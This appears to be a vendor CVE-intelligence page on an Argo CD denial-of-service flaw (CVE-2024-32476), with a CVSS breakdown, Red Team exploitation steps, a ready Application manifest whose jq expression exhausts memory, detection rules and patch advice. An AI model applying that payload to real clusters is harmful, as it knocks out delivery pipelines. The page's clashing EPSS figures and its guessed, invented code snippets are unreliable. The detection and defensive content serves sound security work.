☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 🐛 CWE-400
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-32476

CVE-2024-32476 Denial of Service in Argo cd
📅 PUBLISHED: 2024-04-26 15:24 UTC 🔄 UPDATED: 2026-09-23 20:25 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.00%
👁️
1.00% probability
25.1× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-32476 is a Denial of Service (DoS) vulnerability in Argo CD, a declarative GitOps continuous delivery tool for Kubernetes. The vulnerability allows an authenticated attacker to cause an Out-of-Memory (OOM) condition by crafting a malicious ignoreDifferences configuration that leverages the jq expression engine. This can lead to resource exhaustion and service disruption for the Argo CD application controller. The vulnerability has been patched in versions 2.10.7, 2.9.12, and 2.8.16. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is significant for affected deployments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Argo CD is a Go-based application distributed as a container image and via Helm charts. The vulnerability is in the core application logic, not in a third-party package. However, the use of jq expressions in ignoreDifferences introduces a resource exhaustion vector. Organizations should verify their Argo CD version and apply patches promptly.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – an authenticated user with application access is needed.
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: High (A:H) – OOM crash leads to DoS.

Threat Level: Medium. The vulnerability requires authentication but can be exploited remotely with low complexity. The impact is limited to availability, but a successful attack can disrupt continuous delivery pipelines.

Deep Dive & Mechanics

The vulnerability resides in how Argo CD processes ignoreDifferences configurations. These configurations allow users to specify fields to ignore when comparing desired state (from Git) with live state (in Kubernetes). The jq expression engine is used to filter and transform JSON data.

An attacker with write access to an Application resource (or the ability to modify an ApplicationSet template) can inject a malicious jq expression that causes exponential resource consumption. For example, a jq expression like [range(1e7) | .] can allocate a massive array, leading to memory exhaustion. The Argo CD application controller, which processes these configurations, will crash due to OOM, causing a denial of service.

The vulnerability is triggered during the reconciliation loop, where the controller evaluates ignoreDifferences for each application. A single malicious application can bring down the entire controller, affecting all managed applications.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-Patch): The vulnerable code likely uses jq without resource limits. For example, in the diff package, the jq expression is evaluated directly:

// Vulnerable: No resource limits on jq evaluation
result, err := jq.Evaluate(expression, input)

Patched Code (Post-Patch): The patch introduces resource limits (e.g., timeouts, memory limits) for jq evaluations. For example:

// Patched: Resource limits applied
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
result, err := jq.EvaluateWithContext(ctx, expression, input)

Additionally, the patch may validate jq expressions for complexity or resource usage before evaluation.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to an Argo CD instance (authenticated user with application creation/modification rights).
  • Ability to create or modify an Application resource.

Exploitation Steps:

  1. Identify Target: Find an Argo CD instance (e.g., argocd.example.com).
  2. Authenticate: Obtain a valid session token or API key.
  3. Craft Malicious Application: Create an Application with a ignoreDifferences configuration containing a resource-intensive jq expression.
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: malicious-app
spec:
  destination:
    namespace: default
    server: https://kubernetes.default.svc
  source:
    repoURL: https://github.com/example/repo.git
    path: manifests
  ignoreDifferences:
  - group: apps
    kind: Deployment
    jq: '[range(1e7) | .]'  # OOM trigger
  1. Apply the Application: Use argocd app create or kubectl apply to create the application.
  2. Trigger Reconciliation: The controller will process the application, evaluate the jq expression, and crash due to OOM.

Expected Outcome: The Argo CD application controller pod crashes, causing a denial of service for all managed applications.

Blue Team

Detection & Response:

  1. Monitor Resource Usage: Set up alerts for high memory usage in the argocd-application-controller pod.
  2. Audit Application Changes: Monitor for new or modified Application resources with suspicious ignoreDifferences configurations.
  3. Rate Limiting: Implement admission webhooks to validate jq expressions for complexity.
  4. Network Segmentation: Restrict access to the Argo CD API to trusted users and networks.

Lab Setup:

  • Deploy a vulnerable Argo CD instance (e.g., version 2.8.15) in a Kubernetes cluster.
  • Create a test user with application creation rights.
  • Apply the malicious application and observe the controller crash.
  • Verify the patch by upgrading to version 2.8.16 and repeating the test.

Indicators of Compromise (IOCs)

  • Log Entries: Repeated OOM kill events for the argocd-application-controller pod.
  • Application Resources: Application manifests with ignoreDifferences containing complex jq expressions (e.g., [range(1e7) | .]).
  • Metrics: Sudden spike in memory usage for the controller pod.
  • Kubernetes Events: OOMKilling events for the controller pod.

Detection Engineering

YARA Rule

rule CVE_2024_32476_ArgoCD_OOM {
    meta:
        description = "Detects malicious jq expressions in ArgoCD Application manifests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-32476"
    strings:
        $jq_oom = /jq:\s*'\[range\(\d+e\d+\)\s*\|\s*\.\]'/ nocase
        $jq_oom2 = /jq:\s*'\[range\(\d+\)\s*\|\s*\.\]'/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-32476 ArgoCD OOM via jq in ignoreDifferences
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects creation or modification of ArgoCD Application resources with suspicious jq expressions
author: Valters IT
date: 2024-01-01
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: ["create", "update", "patch"]
        objectRef.resource: "applications"
        objectRef.apiGroup: "argoproj.io"
        requestObject: 
            - "jq: '[range(1e7) | .]'"
            - "jq: '[range(10000000) | .]'"
    condition: selection
falsepositives:
    - Legitimate use of large jq expressions (unlikely)
level: high
tags:
    - attack.t1499
    - cve.2024.32476

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32476 ArgoCD OOM via jq in ignoreDifferences"; flow:to_server,established; content:"jq"; http_client_body; content:"[range(1e7) | .]"; http_client_body; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Argo CD to version 2.10.7, 2.9.12, or 2.8.16 (or later).
  2. Restrict Application Write Access to trusted users only.
  3. Monitor Controller Logs for OOM events.

Long-Term Mitigations:

  • Implement admission webhooks to validate jq expressions for complexity.
  • Set resource limits on the argocd-application-controller pod (e.g., memory limits).
  • Use network policies to restrict API access.
  • Regularly audit Application resources for suspicious configurations.

Patch Details:

  • Upgrade to the latest patched version using Helm or kubectl:
    helm upgrade argocd argo/argo-cd --version 2.10.7
    
    Or update the deployment manifest:
    image: argoproj/argocd:v2.10.7
    

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-32476/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.